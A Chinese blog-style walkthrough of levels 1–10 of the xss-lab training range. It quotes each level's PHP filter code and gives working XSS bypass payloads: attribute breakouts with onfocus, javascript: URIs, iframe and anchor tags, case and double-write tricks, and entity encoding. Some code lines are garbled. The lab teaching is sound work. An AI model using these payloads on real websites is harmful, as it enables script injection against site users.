当前位置: 首页 > news >正文

xss-lab靶场level1-level10

level1:
无过滤形式
直接
<script>window.alert(123)</script>

level2:
htmlspecialchars函数将预定义的小于和大于号转换为html实体
    < (小于)成为 &lt;
    > (大于)成为 &gt;

源代码
 <?php 
ini_set("display_errors", 0);
$str = $_GET["<script>window.alert(111)</script>"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

这一个只是在文字里设置了,但是input的value并没有
这是最后输出的格式:"&lt;script&gt;window.alert(111)&lt;/script&gt;"
所以如果想绕过那么就想办法让程序识别不到小于号
但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
所以
"> '<script>window.alert(11)</script>' <"
前后各自加的内容是为了闭合前后的符号,让中间内容单独出现

$str = $_GET[""> <script>window.alert(11)</script> <""];

> <script>window.alert(11)</script> <

htmlspecialchars(> <script>window.alert(11)</script> <)

level3:
没有找到和&lt;script&gt;window.alert(11)&lt;/script&gt;相关的结果.
"> "<script>window.alert(11)</script>" <"
上一句之所以没有用,就是因为value里也被设置了编码所以这个要绕过的是value里的编码
但是只要是大于号都会被编码,所以我们应该去寻找其他注入代码
方法:onfocus代替<script></script>,然后再利用js伪协议
这样就能取代大于小于号
原理:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
最后输入框代码变成了这样:
<input name=keyword  value='' οnfοcus=javascript:alert() ''>
<input type=submit name=submit value=搜索 />

所以再输入之后再点击一下输入框即可注入成功

level4:
<input name=keyword  value="scriptalert(123)/script">
可见大于号是直接被去掉了
再看这个代码会发现value后面有双引号,而且双引号是不会被编码或者删掉,所以想法是第三关,但是要在前面加上双引号
”οnfοcus=javascript:alert()

level5:
<input name=keyword  value="<scr_ipt>alert(123)</script>">
输入注入代码,会发现第一个srcipt标签加上了下划线
而且<svg/οnlοad=alert(1)>
则会
<input name=keyword  value="<svg/o_nload=alert(1)>">
说明不管输入什么,它都会在第一个标签的中间位置加上下划线

于是我们查看了源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

发现它只对on和<script进行过滤,而且不区分大小写
可以使用其他标签替换iframe、a
"><iframe src="javascript:alert(123)"></iframe><"
"> <a href=javascript:alert()>xxx</a> <"

level6:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
这一个过滤的更多
所以还是想办法过滤,找到其他可以替换的标签
查看代码发现对大小写并不检查
"><scRipt>window.alert(123)</scRipt><"

level7:
f12查看页面源代码
<input name=keyword  value="<>alert(123)</>">
发现script直接被替换
尝试双写绕过
"><scrscriptipt>window.alert(123)</scrscriptipt><"
查看源代码
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

level8:
<a href="<scr_ipt>alert(123)</scr_ipt>">友情链接</a>
发现友情链接的href参数被过滤了
script、src
但是href的unicode自动编码
所以想到可以编码绕过
并且使用伪协议
而且如果想要在超链接标签使用那么就用将地址放在href标签里,所以使用js伪协议
javascript:alert()

伪协议概念:
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert(‘JS!’);",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
相当于是一个地址或者网址

level9:
1.过滤
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

2.html实体编码
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

3.判断是否为链接
strpos函数判断字符串中是否有,不论该字符串出现在哪个位置,只要有都为true
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}


其实这个就是比第八关多了一个检查链接合法性的步骤
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/


level10:
源代码有如下代码:
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);


<input name="t_sort"  value="'.$str33.'" type="hidden">
输入框被隐藏了,怎么办?
有没有什么办法可以显示
只有让type="text"
οnfοcus=javascript:alert(11)
?t_sort=" οnfοcus=javascript:alert() type="text'

<input name="t_sort"  value="'"  οnfοcus=javascript:alert() type="text'' " type="hidden">

相关文章:

  • Centos7升级K8S集群
  • YOLOv10改进 | Neck | 添加双向特征金字塔BiFPN【含二次独家创新】
  • RK3568技术笔记十四 Ubuntu创建共享文件夹
  • 掌握心理学知识成为产品经理一门必修课?
  • 第一百一十六节 Java 面向对象设计 - Java 终止块
  • MySQL 常用函数总结
  • SAP 新安装的系统,财务开账期OB52需要传输
  • C++的智能指针 RAII
  • 【AI应用探讨】— 盘古大模型应用场景
  • 如何选择合适的半桥栅极驱动芯片?KP8530X,KP85402,KP85211A满足你对半桥栅极驱动一切需求
  • Oracle最终还是杀死了MySQL
  • 步步为营:电商项目业务测试实战指南
  • 考试系统Spring Security的配置
  • SQL题:未完成率较高的50%用户近三个月答卷情况
  • 深入了解常用负载均衡软件
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • JS题目及答案整理
  • mysql 数据库四种事务隔离级别
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • Node项目之评分系统(二)- 数据库设计
  • passportjs 源码分析
  • underscore源码剖析之整体架构
  • 从零搭建Koa2 Server
  • 从伪并行的 Python 多线程说起
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 基于HAProxy的高性能缓存服务器nuster
  • 极限编程 (Extreme Programming) - 发布计划 (Release Planning)
  • 简单基于spring的redis配置(单机和集群模式)
  • 如何打造100亿SDK累计覆盖量的大数据系统
  • 如何设计一个微型分布式架构?
  • 王永庆:技术创新改变教育未来
  • 优化 Vue 项目编译文件大小
  • - 转 Ext2.0 form使用实例
  • 追踪解析 FutureTask 源码
  • Prometheus VS InfluxDB
  • ###C语言程序设计-----C语言学习(3)#
  • #162 (Div. 2)
  • #vue3 实现前端下载excel文件模板功能
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • (1)Jupyter Notebook 下载及安装
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (2024,Flag-DiT,文本引导的多模态生成,SR,统一的标记化,RoPE、RMSNorm 和流匹配)Lumina-T2X
  • (c语言+数据结构链表)项目:贪吃蛇
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (八十八)VFL语言初步 - 实现布局
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (佳作)两轮平衡小车(原理图、PCB、程序源码、BOM等)
  • (接口封装)
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (十三)Flink SQL
  • .NET 8 编写 LiteDB vs SQLite 数据库 CRUD 接口性能测试(准备篇)
  • .Net CF下精确的计时器
  • .NET CLR基本术语
  • .NET CORE 2.0发布后没有 VIEWS视图页面文件
  • .net core webapi 部署iis_一键部署VS插件:让.NET开发者更幸福